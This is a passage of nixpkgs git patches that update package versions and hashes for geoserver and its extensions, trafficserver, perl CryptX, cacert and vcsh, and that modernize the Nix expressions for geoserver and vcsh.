+++ b/pkgs/by-name/ge/geoserver/package.nix
@@ -8,12 +8,12 @@
   jre,
   unzip,
 }:
-stdenv.mkDerivation (finalAttrs: rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "geoserver";
   version = "2.27.0";
 
   src = fetchurl {
-    url = "mirror://sourceforge/geoserver/GeoServer/${version}/geoserver-${version}-bin.zip";
+    url = "mirror://sourceforge/geoserver/GeoServer/${finalAttrs.version}/geoserver-${finalAttrs.version}-bin.zip";
     hash = "sha256-bhL+u+BoKgW2cwOXEzaq0h07dKFz9u9WB2jW8nAF0vI=";
   };
 

From a515870c976140bdbc174d999fe810dbd23c62b6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 17:32:01 +0000
Subject: [PATCH 1460/4511] geoserver: 2.27.0 -> 2.27.1

(cherry picked from commit e64838938a6f8cc0620ef6c25161d3fb9c2b1fe8)
---
 pkgs/by-name/ge/geoserver/extensions.nix | 202 +++++++++++------------
 pkgs/by-name/ge/geoserver/package.nix    |   4 +-
 2 files changed, 103 insertions(+), 103 deletions(-)

diff --git a/pkgs/by-name/ge/geoserver/extensions.nix b/pkgs/by-name/ge/geoserver/extensions.nix
index 067380923801..267dc9e0314f 100644
--- a/pkgs/by-name/ge/geoserver/extensions.nix
+++ b/pkgs/by-name/ge/geoserver/extensions.nix
@@ -42,325 +42,325 @@ in
 {
   app-schema = mkGeoserverExtension {
     name = "app-schema";
-    version = "2.27.0"; # app-schema
-    hash = "sha256-S7WtIbmn9RF0mmTRiOH5zFsjZ6y0mvVu0H8jKCdTPHM="; # app-schema
+    version = "2.27.1"; # app-schema
+    hash = "sha256-en9j/FhM7llsgvg26nIqqpt3wVJ9wtshkimMQ4bn1O4="; # app-schema
   };
 
   authkey = mkGeoserverExtension {
     name = "authkey";
-    version = "2.27.0"; # authkey
-    hash = "sha256-GwA/f5wMf701TEs04Dgx/zcEA/jBHgw0JuJMKqTuRTU="; # authkey
+    version = "2.27.1"; # authkey
+    hash = "sha256-c2m5qfeeAlRoKl1ZgGzlURYivgUMh/22MBNXscKiRi8="; # authkey
   };
 
   cas = mkGeoserverExtension {
     name = "cas";
-    version = "2.27.0"; # cas
-    hash = "sha256-poD8OBeR7txtM1nJDy5MV6GVREVonLvx3TUY3a1V2Mc="; # cas
+    version = "2.27.1"; # cas
+    hash = "sha256-42ePZ90vATFsTkT9e2XaKM2uR05K5xUYbmwFPyQR4xk="; # cas
   };
 
   charts = mkGeoserverExtension {
     name = "charts";
-    version = "2.27.0"; # charts
-    hash = "sha256-8FoaN9EoFZ56YPev//IphMjce1iJQnMbP6xCdVSwMiU="; # charts
+    version = "2.27.1"; # charts
+    hash = "sha256-y2N7/ZnxeiP0cNtLXMzN0jSIAGc8t1QzSLD1wEVa/LY="; # charts
   };
 
   control-flow = mkGeoserverExtension {
     name = "control-flow";
-    version = "2.27.0"; # control-flow
-    hash = "sha256-DyZp/dcRm/xuvxv49qvepcDJPyHGiG4wMbEzKNhNcH0="; # control-flow
+    version = "2.27.1"; # control-flow
+    hash = "sha256-/Vv2otkJuaPAHxs7bZZ4UkB5tXR7YLb2Qn0eA5wRJkk="; # control-flow
   };
 
   css = mkGeoserverExtension {
     name = "css";
-    version = "2.27.0"; # css
-    hash = "sha256-PKRgGbDlTjrFkhrDpbjDjAl+Q/gjWXFw9C0QpKB8+Ro="; # css
+    version = "2.27.1"; # css
+    hash = "sha256-ZQtyljZuQdX7fS+4oGALXZBsscr8M6m1hgAN0EoBRVM="; # css
   };
 
   csw = mkGeoserverExtension {
     name = "csw";
-    version = "2.27.0"; # csw
-    hash = "sha256-sddOghBd8OVjKmaF3PqM/G+RkpsUk6vmCZv7uQJTJnU="; # csw
+    version = "2.27.1"; # csw
+    hash = "sha256-P0PMs8JNxHXwPy610mYc9Fz6uO+LnYWm7fd8i2R3vTY="; # csw
   };
 
   csw-iso = mkGeoserverExtension {
     name = "csw-iso";
-    version = "2.27.0"; # csw-iso
-    hash = "sha256-WVKVoQWIusgpAZUWPybBBIMbtWB56uNix3T50hy0x5w="; # csw-iso
+    version = "2.27.1"; # csw-iso
+    hash = "sha256-aQCFUTQeTx+RuBjXksq3guHQ+LIaA3RCSLv9XQ9BdtA="; # csw-iso
   };
 
   db2 = mkGeoserverExtension {
     name = "db2";
-    version = "2.27.0"; # db2
-    hash = "sha256-jlyRGOGBFJ0+sArKXqchITlS6swE/v4ScdxPKWANFaE="; # db2
+    version = "2.27.1"; # db2
+    hash = "sha256-RO1IH1AZ3iiEHzx95ZC9+aqD7pB7lMQ0MQ8uHjfQLR4="; # db2
   };
 
   # Needs wps extension.
   dxf = mkGeoserverExtension {
     name = "dxf";
-    version = "2.27.0"; # dxf
-    hash = "sha256-hdn5X7T5/H7Ti0UK3MdG0TFGInwu7S7Z4VghcWx+hdQ="; # dxf
+    version = "2.27.1"; # dxf
+    hash = "sha256-DxQWW59+FslrmX601CffZabF+uZA+ujHVGmbwatQT9M="; # dxf
   };
 
   excel = mkGeoserverExtension {
     name = "excel";
-    version = "2.27.0"; # excel
-    hash = "sha256-EH1TZeYPk+sb9+7ZfjbaEsNgQJ+/57XCc2+CvELsY88="; # excel
+    version = "2.27.1"; # excel
+    hash = "sha256-G6KBuBVxW879GffpKJVJgK2sO65S+zfUsKomXPBUejA="; # excel
   };
 
   feature-pregeneralized = mkGeoserverExtension {
     name = "feature-pregeneralized";
-    version = "2.27.0"; # feature-pregeneralized
-    hash = "sha256-0389xo0NjTREGQLMrqJesl/XrFOrjFjjFBL7GSUMl/Y="; # feature-pregeneralized
+    version = "2.27.1"; # feature-pregeneralized
+    hash = "sha256-wbUZAWTSFDutmGUhkFI0Hl/WbZRb5sLet2FdZmxLeLM="; # feature-pregeneralized
   };
 
   # Note: The extension name ("gdal") clashes with pkgs.gdal.
   gdal = mkGeoserverExtension {
     name = "gdal";
-    version = "2.27.0"; # gdal
+    version = "2.27.1"; # gdal
     buildInputs = [ pkgs.gdal ];
-    hash = "sha256-oTSEk+AmgXydSF4TZD9m5ViyeWh5HpAprMZAPMdP2LI="; # gdal
+    hash = "sha256-xw6DoOxImOLnmPxYMkaH4bKes0vVobzvT1IiDywq828="; # gdal
   };
 
   # Throws "java.io.FileNotFoundException: URL [jar:file:/nix/store/.../WEB-INF/lib/gs-geofence-server-2.24.1.jar!/geofence-default-override.properties] cannot be resolved to absolute file path because it does not reside in the file system: jar:file:/nix/store/.../WEB-INF/lib/gs-geofence-server-2.24.1.jar!/geofence-default-override.properties" but seems to work out of the box.
   #geofence = mkGeoserverExtension {
   #  name = "geofence";
-  #  version = "2.27.0"; # geofence
-  #  hash = "sha256-P7ZHvC4qv1meziqPmBfOgQ+Y06Ico0N1trUi9LMZUJQ="; # geofence
+  #  version = "2.27.1"; # geofence
+  #  hash = "sha256-ccbCBCrb4zbZQ2eCDZo/FOT2IiUhruV62h7SrITdPdw="; # geofence
   #};
 
   #geofence-server = mkGeoserverExtension {
   #  name = "geofence-server";
-  #  version = "2.27.0"; # geofence-server
+  #  version = "2.27.1"; # geofence-server
   #  hash = ""; # geofence-server
   #};
 
   #geofence-wps = mkGeoserverExtension {
   #  name = "geofence-wps";
-  #  version = "2.27.0"; # geofence-wps
-  #  hash = "sha256-8Wvb/elunsYTFD1GgEQunM8i0eDyOA/W52KZ9+7uvvk="; # geofence-wps
+  #  version = "2.27.1"; # geofence-wps
+  #  hash = "sha256-k2z+xBUZw7cz/sPRjAEsKey6oqY1FzpaMGJcCm73kdg="; # geofence-wps
   #};
 
   geopkg-output = mkGeoserverExtension {
     name = "geopkg-output";
-    version = "2.27.0"; # geopkg-output
-    hash = "sha256-VUqBTt0XfSY2Q8cfeCpVmr398PK+Sb74APSrBODJNlw="; # geopkg-output
+    version = "2.27.1"; # geopkg-output
+    hash = "sha256-wECoUeBJLh00hJHT/adz7YF8AraPl1rOd9GLL1BP5dU="; # geopkg-output
   };
 
   grib = mkGeoserverExtension {
     name = "grib";
-    version = "2.27.0"; # grib
-    hash = "sha256-xX9LAgo5exeD2UxZ8/LROZWobLHLw33jcpwERGUGPys="; # grib
+    version = "2.27.1"; # grib
+    hash = "sha256-gu8sDIA46u0Uj9+lJJ65mn3FD6D+DjsTN8KbNUeoOP0="; # grib
     buildInputs = [ netcdf ];
   };
 
   gwc-s3 = mkGeoserverExtension {
     name = "gwc-s3";
-    version = "2.27.0"; # gwc-s3
-    hash = "sha256-/koF00Rki1xiY/g4ahhvFZNQxGnvIbbnqNmYHBqArBI="; # gwc-s3
+    version = "2.27.1"; # gwc-s3
+    hash = "sha256-UBy17pwwjDJFBIgUyQSThj3Kn1bber/pglsUr/h4d+Q="; # gwc-s3
   };
 
   h2 = mkGeoserverExtension {
     name = "h2";
-    version = "2.27.0"; # h2
-    hash = "sha256-lfWu3812AMv0bB2dllNlcOSyN+IMASI/nkjLaStvUtw="; # h2
+    version = "2.27.1"; # h2
+    hash = "sha256-cXtc5OBAn3ppoGns6MvivgCYW841LJt1SPi5nNDE2O8="; # h2
   };
 
   iau = mkGeoserverExtension {
     name = "iau";
-    version = "2.27.0"; # iau
-    hash = "sha256-9PhWejZILq1hcWBdvWh9SdtfLOlpFcaIU9TeJ8z7UUw="; # iau
+    version = "2.27.1"; # iau
+    hash = "sha256-77ULte2jCRN+gfd9/tOL26RX7EjKK6h5JaqQBR8TSI8="; # iau
   };
 
   importer = mkGeoserverExtension {
     name = "importer";
-    version = "2.27.0"; # importer
-    hash = "sha256-oqlNcUkO7XlcI6QQF+44kt69ZWtPSdcpyuA5xGtVrAQ="; # importer
+    version = "2.27.1"; # importer
+    hash = "sha256-qrwMz7R/m/BtwNUcJV+mJu8pTNS+00EjWq/hMnF3/T0="; # importer
   };
 
   inspire = mkGeoserverExtension {
     name = "inspire";
-    version = "2.27.0"; # inspire
-    hash = "sha256-irSJm3gDJAiDHczkS84OW+noOIryCOmSwiIU4GAKqoQ="; # inspire
+    version = "2.27.1"; # inspire
+    hash = "sha256-fjMkmAmq9BGsnwjUH8I/iCZveAPEYi9E9/R2WNg6rxo="; # inspire
   };
 
   # Needs Kakadu plugin from
   # https://github.com/geosolutions-it/imageio-ext
   #jp2k = mkGeoserverExtension {
   #  name = "jp2k";
-  #  version = "2.27.0"; # jp2k
-  #  hash = "sha256-WKWtNKv1sQrdrraCj9jmEODtIhCVF25HFbQNROdlyxg="; # jp2k
+  #  version = "2.27.1"; # jp2k
+  #  hash = "sha256-guNAdKOu32t0a648nuUjkt5bu17OKLAn6QXYeyAe1ZA="; # jp2k
   #};
 
   libjpeg-turbo = mkGeoserverExtension {
     name = "libjpeg-turbo";
-    version = "2.27.0"; # libjpeg-turbo
-    hash = "sha256-tMov4w8Kfbrr7hkNK4o+XFUuenyidCem7Z36KXinfTE="; # libjpeg-turbo
+    version = "2.27.1"; # libjpeg-turbo
+    hash = "sha256-ZAIQJzzDNSgCX4BUchyRktobJkyLHgWYwfPz8B9vNTQ="; # libjpeg-turbo
     buildInputs = [ libjpeg.out ];
   };
 
   mapml = mkGeoserverExtension {
     name = "mapml";
-    version = "2.27.0"; # mapml
-    hash = "sha256-HONocKWnjkGqGRmtDxcJSwnDHwVouY6YeORRBjAbu4M="; # mapml
+    version = "2.27.1"; # mapml
+    hash = "sha256-znx6KjpTT109wG2wsTyvwKFcij29TVJ0cOkEIJw1D0g="; # mapml
   };
 
   mbstyle = mkGeoserverExtension {
     name = "mbstyle";
-    version = "2.27.0"; # mbstyle
-    hash = "sha256-c1QijJj/WfbTxc4vM55lz+wx2PW4BY3tXneSM+3zXRA="; # mbstyle
+    version = "2.27.1"; # mbstyle
+    hash = "sha256-t2g9Pm1PsfbiP1UWHcZaILZQFeOxnKUMXGS1sJfQcVg="; # mbstyle
   };
 
   metadata = mkGeoserverExtension {
     name = "metadata";
-    version = "2.27.0"; # metadata
-    hash = "sha256-5b9gtSzP9DOyhwoNdFVnv08WjlH+m0ZFPO+jqtbUJ1A="; # metadata
+    version = "2.27.1"; # metadata
+    hash = "sha256-DPD83rrjn8oPRXn28EFDgvxdhUtI3goPN2FpyPjyGks="; # metadata
   };
 
   mongodb = mkGeoserverExtension {
     name = "mongodb";
-    version = "2.27.0"; # mongodb
-    hash = "sha256-Y9KQ7lqfCnPfTdPUzidi9wNZPeiTTqB+4lf5q7mSQ88="; # mongodb
+    version = "2.27.1"; # mongodb
+    hash = "sha256-lVaEOf91CKBYfI8QLXhERfQ+aWNTTok2DveiZlWygjQ="; # mongodb
   };
 
   monitor = mkGeoserverExtension {
     name = "monitor";
-    version = "2.27.0"; # monitor
-    hash = "sha256-uAkOudY7yACJ9A+FxcKSDUhGiID+uTvBibCejFwEiT0="; # monitor
+    version = "2.27.1"; # monitor
+    hash = "sha256-goZz5+dxB787hjcoR/Cmo92mw+rhpoooETzxg8bQ4eE="; # monitor
   };
 
   mysql = mkGeoserverExtension {
     name = "mysql";
-    version = "2.27.0"; # mysql
-    hash = "sha256-qA3l9gx4AuqqbPHfQkbvJNYfURrBSnmq4S4nEPrFpO4="; # mysql
+    version = "2.27.1"; # mysql
+    hash = "sha256-jn+zmnrJHWw6/OXCnEpoBPtUALhINjL42va1+eGXgeU="; # mysql
   };
 
   netcdf = mkGeoserverExtension {
     name = "netcdf";
-    version = "2.27.0"; # netcdf
-    hash = "sha256-3pxGeIWcsBnJMdZjupOR/GmglxYWJp8KjJsmZSCRK00="; # netcdf
+    version = "2.27.1"; # netcdf
+    hash = "sha256-W/ICO05gBf5o6ZAc8vbxv9ZWd02m6AMQKqyimpVvRX8="; # netcdf
     buildInputs = [ netcdf ];
   };
 
   netcdf-out = mkGeoserverExtension {
     name = "netcdf-out";
-    version = "2.27.0"; # netcdf-out
-    hash = "sha256-GfwJqdoO1Z265OmfAvjoKy0/DLX8e06Mu58o4Zps4q0="; # netcdf-out
+    version = "2.27.1"; # netcdf-out
+    hash = "sha256-0l74QlXo3CwTja2DDx8fmD9DTJV3S6fdCi2r6oq6UwE="; # netcdf-out
     buildInputs = [ netcdf ];
   };
 
   ogr-wfs = mkGeoserverExtension {
     name = "ogr-wfs";
-    version = "2.27.0"; # ogr-wfs
+    version = "2.27.1"; # ogr-wfs
     buildInputs = [ pkgs.gdal ];
-    hash = "sha256-FX3sojRnR6FQSFSK4n62w/lrPbHTdbLn9NtR2nE/3dU="; # ogr-wfs
+    hash = "sha256-UXTpC4vd/2lq2mRMaTEwiIb58NtnsM+PEX2F6hsCv3s="; # ogr-wfs
   };
 
   # Needs ogr-wfs extension.
   ogr-wps = mkGeoserverExtension {
     name = "ogr-wps";
-    version = "2.27.0"; # ogr-wps
+    version = "2.27.1"; # ogr-wps
     # buildInputs = [ pkgs.gdal ];
-    hash = "sha256-Nb7rkbZPw85+EAcR+ist4iW16HVfsH9cSYwplHyO4RY="; # ogr-wps
+    hash = "sha256-GgVVGEBm7ci4Qxe+hNiIuGGOoJQRvaZE+NYKY0ZJlAQ="; # ogr-wps
   };
 
   oracle = mkGeoserverExtension {
     name = "oracle";
-    version = "2.27.0"; # oracle
-    hash = "sha256-4KnZ48oKmgap3qZiJE4TSCQZpMvCQd4PULWponW5f1c="; # oracle
+    version = "2.27.1"; # oracle
+    hash = "sha256-7NH0XW+dZWIgJ8rwzNjCXLS2c4lCFg0FzNM8AD17Z3E="; # oracle
   };
 
   params-extractor = mkGeoserverExtension {
     name = "params-extractor";
-    version = "2.27.0"; # params-extractor
-    hash = "sha256-0NnL87Cn/DcLXTnBJhgcGHNmC6SYKRc7TY+4r7VcYJQ="; # params-extractor
+    version = "2.27.1"; # params-extractor
+    hash = "sha256-Z3pM5Mt1RE1+aDfsjcMrx4u6SvUzOUQmrmfghCCQIYk="; # params-extractor
   };
 
   printing = mkGeoserverExtension {
     name = "printing";
-    version = "2.27.0"; # printing
-    hash = "sha256-10uBc9ZI9M9m5vmKMXfB1TieJBr7cx/SeD1AiXNVJo8="; # printing
+    version = "2.27.1"; # printing
+    hash = "sha256-/kkUQpARHi2J/+4Tc9z7pVGLhnwbrlxOxiUlbg646KQ="; # printing
   };
 
   pyramid = mkGeoserverExtension {
     name = "pyramid";
-    version = "2.27.0"; # pyramid
-    hash = "sha256-K38fYjM0Oh+FHT5Wadjuc3KIhFP2x5q5cxW5aucZNNw="; # pyramid
+    version = "2.27.1"; # pyramid
+    hash = "sha256-b4ZZNXHOgywXkPwTWBANyl0r1bok4bybusI0tKZ7rY8="; # pyramid
   };
 
   querylayer = mkGeoserverExtension {
     name = "querylayer";
-    version = "2.27.0"; # querylayer
-    hash = "sha256-5OPfTUB0d08jWjxWd77BxffZgx+eM5eJX9bX0kt/WpM="; # querylayer
+    version = "2.27.1"; # querylayer
+    hash = "sha256-8leo1ZtrYbN9XISJLVZvOF34arOEnh0Y8CIeWih8XOE="; # querylayer
   };
 
   sldservice = mkGeoserverExtension {
     name = "sldservice";
-    version = "2.27.0"; # sldservice
-    hash = "sha256-rWIbWCsX4Hkank0L02sluTF137Y6Pex15Gobiwv2pNM="; # sldservice
+    version = "2.27.1"; # sldservice
+    hash = "sha256-nKG1/+NwmTaardqZAhB4A1QV6bPxc30jW9Ip/q2vUJ0="; # sldservice
   };
 
   sqlserver = mkGeoserverExtension {
     name = "sqlserver";
-    version = "2.27.0"; # sqlserver
-    hash = "sha256-ghf3z9b586RUgvicyOXlW2K8Uq9TolRb7CrcKT1Jt1M="; # sqlserver
+    version = "2.27.1"; # sqlserver
+    hash = "sha256-aqQf7NwUPnNn9Byu8YmbMnsU3n3aq832rvXbvicQsrM="; # sqlserver
   };
 
   vectortiles = mkGeoserverExtension {
     name = "vectortiles";
-    version = "2.27.0"; # vectortiles
-    hash = "sha256-ho/Vp1cFq2/xY9fIaQUR+vBQ6Vfdf+Z2eYvL7eI1qMY="; # vectortiles
+    version = "2.27.1"; # vectortiles
+    hash = "sha256-8nITeBDeFX6bDx+2Sn4yHfb333XUdNGPV6I883nZLV0="; # vectortiles
   };
 
   wcs2_0-eo = mkGeoserverExtension {
     name = "wcs2_0-eo";
-    version = "2.27.0"; # wcs2_0-eo
-    hash = "sha256-GcoOT3JNQPUN8ETX4spJXteJvbNM9+YO85FH+dw3oSg="; # wcs2_0-eo
+    version = "2.27.1"; # wcs2_0-eo
+    hash = "sha256-y3QOWFmYW+dxIAAlolcotJ0oNulRIJKvLeQqSTZKq/w="; # wcs2_0-eo
   };
 
   web-resource = mkGeoserverExtension {
     name = "web-resource";
-    version = "2.27.0"; # web-resource
-    hash = "sha256-4TGt9MklLWbJexY7kjT+ijIX/V4OLw7U6mDkBoVXuwk="; # web-resource
+    version = "2.27.1"; # web-resource
+    hash = "sha256-hfP/qnb4isWg4eoxfBCDpiLS4GBG/ysrGBE6HVbglMg="; # web-resource
   };
 
   wmts-multi-dimensional = mkGeoserverExtension {
     name = "wmts-multi-dimensional";
-    version = "2.27.0"; # wmts-multi-dimensional
-    hash = "sha256-8I3XbAToqTgwf4y+C3ulAhCY7axyS739GV4+jxwO33g="; # wmts-multi-dimensional
+    version = "2.27.1"; # wmts-multi-dimensional
+    hash = "sha256-/KfE5dLvbSeMn/w7NYKQtUIY/Wb1oWeLvdMEqgrNAhg="; # wmts-multi-dimensional
   };
 
   wps = mkGeoserverExtension {
     name = "wps";
-    version = "2.27.0"; # wps
-    hash = "sha256-9OrjyVaf9JzDPXyqHqqg51aAllhcAf4bOvQQyV1dHpI="; # wps
+    version = "2.27.1"; # wps
+    hash = "sha256-rsBUWUthRrBkSNIzZZZzIy56bsJYt9zy3cIzWQVHVGc="; # wps
   };
 
   # Needs hazelcast (https://github.com/hazelcast/hazelcast (?)) which is not
   # available in nixpgs as of 2024/01.
   #wps-cluster-hazelcast = mkGeoserverExtension {
   #  name = "wps-cluster-hazelcast";
-  #  version = "2.27.0"; # wps-cluster-hazelcast
-  #  hash = "sha256-amHfS5eBRoiMdj3wJzRNg9krYo5DJrCvCvhtj/Z9mUw="; # wps-cluster-hazelcast
+  #  version = "2.27.1"; # wps-cluster-hazelcast
+  #  hash = "sha256-W0hIz/Bx/x0ATLhcljSWa9/qzltt3FKlWyxub4Lnsx0="; # wps-cluster-hazelcast
   #};
 
   wps-download = mkGeoserverExtension {
     name = "wps-download";
-    version = "2.27.0"; # wps-download
-    hash = "sha256-vQpSGiOUh9N4PDQ4w/mTNjooz0lYDXwwRpZsq9VhEMA="; # wps-download
+    version = "2.27.1"; # wps-download
+    hash = "sha256-gt3u/zm8ME99d7zJV1EHQQYjC1IZyG7f5pV+Zt2XeJU="; # wps-download
   };
 
   # Needs Postrgres configuration or similar.
   # See https://docs.geoserver.org/main/en/user/extensions/wps-jdbc/index.html
   wps-jdbc = mkGeoserverExtension {
     name = "wps-jdbc";
-    version = "2.27.0"; # wps-jdbc
-    hash = "sha256-YWBOLL3X6Ztv+9EWmHKd5N020+qkVNtXXbObSlBhp2s="; # wps-jdbc
+    version = "2.27.1"; # wps-jdbc
+    hash = "sha256-5RtViHAgqAtnHQolqGMC7QYgnwQmn/sO4WdUx2gyxe8="; # wps-jdbc
   };
 
   ysld = mkGeoserverExtension {
     name = "ysld";
-    version = "2.27.0"; # ysld
-    hash = "sha256-fPF4LM0WC4YaAMnPhz3A/XXOoMu+v8TsO6XIcXHWRi4="; # ysld
+    version = "2.27.1"; # ysld
+    hash = "sha256-DvQ8b6ODmU09Qixwe14wze92ktWyt54+zaEMfXjiEko="; # ysld
   };
 
 }
diff --git a/pkgs/by-name/ge/geoserver/package.nix b/pkgs/by-name/ge/geoserver/package.nix
index 0822e0f42b29..47ee80b6c1a7 100644
--- a/pkgs/by-name/ge/geoserver/package.nix
+++ b/pkgs/by-name/ge/geoserver/package.nix
@@ -10,11 +10,11 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "geoserver";
-  version = "2.27.0";
+  version = "2.27.1";
 
   src = fetchurl {
     url = "mirror://sourceforge/geoserver/GeoServer/${finalAttrs.version}/geoserver-${finalAttrs.version}-bin.zip";
-    hash = "sha256-bhL+u+BoKgW2cwOXEzaq0h07dKFz9u9WB2jW8nAF0vI=";
+    hash = "sha256-7IrnznWa5NI/2gFHVTRQ0IerOkodStbr0aGpKPpeLQk=";
   };
 
   sourceRoot = "source";

From bbc42167cef35f24a2be73cbf478bb50a3dac46f Mon Sep 17 00:00:00 2001
From: Nikolay Korotkiy <sikmir@disroot.org>
Date: Sun, 8 Jun 2025 23:22:29 +0400
Subject: [PATCH 1461/4511] geoserver: modernize

(cherry picked from commit 8d8285253bb1933273d011c85fb8bddb5407be37)
---
 pkgs/by-name/ge/geoserver/package.nix | 18 ++++++------------
 1 file changed, 6 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/ge/geoserver/package.nix b/pkgs/by-name/ge/geoserver/package.nix
index 47ee80b6c1a7..dd1194979e00 100644
--- a/pkgs/by-name/ge/geoserver/package.nix
+++ b/pkgs/by-name/ge/geoserver/package.nix
@@ -17,13 +17,7 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-7IrnznWa5NI/2gFHVTRQ0IerOkodStbr0aGpKPpeLQk=";
   };
 
-  sourceRoot = "source";
-
-  unpackPhase = ''
-    runHook preUnpack
-    unzip $src -d "$sourceRoot"
-    runHook postUnpack
-  '';
+  sourceRoot = ".";
 
   patches = [
     # set GEOSERVER_DATA_DIR to current working directory if not provided
@@ -92,12 +86,12 @@ stdenv.mkDerivation (finalAttrs: {
       updateScript = ./update.sh;
     };
 
-  meta = with lib; {
+  meta = {
     description = "Open source server for sharing geospatial data";
     homepage = "https://geoserver.org/";
-    sourceProvenance = with sourceTypes; [ binaryBytecode ];
-    license = licenses.gpl2Plus;
-    teams = [ teams.geospatial ];
-    platforms = platforms.all;
+    sourceProvenance = with lib.sourceTypes; [ binaryBytecode ];
+    license = lib.licenses.gpl2Plus;
+    teams = [ lib.teams.geospatial ];
+    platforms = lib.platforms.all;
   };
 })

From f6e9b9e991ee5aae8c2c0739478491503df04dd2 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Wed, 18 Jun 2025 21:51:09 +0200
Subject: [PATCH 1462/4511] trafficserver: 9.2.10 -> 9.2.11

Fixes CVE-2025-31698 and CVE-2025-49763.
https://www.openwall.com/lists/oss-security/2025/06/17/7

Changes:
https://raw.githubusercontent.com/apache/trafficserver/refs/tags/9.2.11/CHANGELOG-9.2.11
(cherry picked from commit bd2a558f20ebd8a4cad9f108b0fce812e0c4521b)
---
 pkgs/by-name/tr/trafficserver/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/tr/trafficserver/package.nix b/pkgs/by-name/tr/trafficserver/package.nix
index d484013d18e7..baab96e51fef 100644
--- a/pkgs/by-name/tr/trafficserver/package.nix
+++ b/pkgs/by-name/tr/trafficserver/package.nix
@@ -48,11 +48,11 @@
 
 stdenv.mkDerivation rec {
   pname = "trafficserver";
-  version = "9.2.10";
+  version = "9.2.11";
 
   src = fetchzip {
     url = "mirror://apache/trafficserver/trafficserver-${version}.tar.bz2";
-    hash = "sha256-SS/xug6YwjGKjlZzuH/oqolrtYG03BER/52fCgBj/dw=";
+    hash = "sha256-WFABr7+JsUbQagLFK0OXZ20t4QCuYrozeaV4fKO/c2s=";
   };
 
   # NOTE: The upstream README indicates that flex is needed for some features,

From 4d4b38b1b355fbdf4db35bb42df2c66478693338 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Wed, 18 Jun 2025 23:05:01 +0200
Subject: [PATCH 1463/4511] perlPackages.CryptX: 0.080 -> 0.087

Fixes CVE-2025-40914.

Changes:
https://metacpan.org/release/MIK/CryptX-0.087/source/Changes
(cherry picked from commit 48f276fab4e3bf3e8ea100cc0ed143cf4a99283b)
---
 pkgs/top-level/perl-packages.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index 094e405a1d11..11d5dfaa9145 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -7910,10 +7910,10 @@ with self;
 
   CryptX = buildPerlPackage {
     pname = "CryptX";
-    version = "0.080";
+    version = "0.087";
     src = fetchurl {
-      url = "mirror://cpan/authors/id/M/MI/MIK/CryptX-0.080.tar.gz";
-      hash = "sha256-tFe3khlKbJwT8G/goLXqFYllwygvOFypPh8AorM+fok=";
+      url = "mirror://cpan/authors/id/M/MI/MIK/CryptX-0.087.tar.gz";
+      hash = "sha256-gHDsKVFg1I83bY/xssvwvxUtqfIDOTk4LwDxP3SM030=";
     };
     meta = {
       description = "Cryptographic toolkit";

From 7d3e872eda0e5e06a8ccdb2f6933424c890d44c1 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 23 Jun 2025 06:20:37 +0200
Subject: [PATCH 1464/4511] cacert: 3.111 -> 3.113

https://github.com/nss-dev/nss/blob/master/doc/rst/releases/nss_3_113.rst
(cherry picked from commit ec049d732fb00865ee3dff919be685c5f4b33998)
---
 pkgs/by-name/ca/cacert/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ca/cacert/package.nix b/pkgs/by-name/ca/cacert/package.nix
index 866d548412f7..0dfd5d65286c 100644
--- a/pkgs/by-name/ca/cacert/package.nix
+++ b/pkgs/by-name/ca/cacert/package.nix
@@ -23,7 +23,7 @@ let
     lib.concatStringsSep "\n\n" extraCertificateStrings
   );
 
-  srcVersion = "3.111";
+  srcVersion = "3.113";
   version = if nssOverride != null then nssOverride.version else srcVersion;
   meta = with lib; {
     homepage = "https://curl.haxx.se/docs/caextract.html";
@@ -47,7 +47,7 @@ let
           owner = "nss-dev";
           repo = "nss";
           rev = "NSS_${lib.replaceStrings [ "." ] [ "_" ] version}_RTM";
-          hash = "sha256-GFtoSvLF5nAwBIiMa9CeEl5geAOK60gG2tjuQFubgYs=";
+          hash = "sha256-gjkJaNNTqtaMxO6PuRLZ8ATMP88L4LXCtpT84fahcmU=";
         };
 
     dontBuild = true;

From 0763daa67eb6f7e07f5927ac39cc23b7245121fc Mon Sep 17 00:00:00 2001
From: eiraniko <>
Date: Mon, 23 Jun 2025 22:03:52 +0800
Subject: [PATCH 1465/4511] vcsh: use finalAttrs

(cherry picked from commit 2d808017a795d48ce668acf68cb75b0d192c8df7)
---
 pkgs/by-name/vc/vcsh/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/vc/vcsh/package.nix b/pkgs/by-name/vc/vcsh/package.nix
index 7e1af72cbfd5..18a33a5c3cbd 100644
--- a/pkgs/by-name/vc/vcsh/package.nix
+++ b/pkgs/by-name/vc/vcsh/package.nix
@@ -8,12 +8,12 @@
   perlPackages,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "vcsh";
   version = "2.0.8";
 
   src = fetchurl {
-    url = "https://github.com/RichiH/vcsh/releases/download/v${version}/${pname}-${version}.tar.xz";
+    url = "https://github.com/RichiH/vcsh/releases/download/v${finalAttrs.version}/vcsh-${finalAttrs.version}.tar.xz";
     sha256 = "sha256-VgRA3v5PIKwizmXoc8f/YMoMCDGFJK/m2uhq3EsT1xQ=";
   };
 
@@ -41,7 +41,7 @@ stdenv.mkDerivation rec {
   meta = with lib; {
     description = "Version Control System for $HOME";
     homepage = "https://github.com/RichiH/vcsh";
-    changelog = "https://github.com/RichiH/vcsh/blob/v${version}/changelog";
+    changelog = "https://github.com/RichiH/vcsh/blob/v${finalAttrs.version}/changelog";
     license = licenses.gpl2Plus;
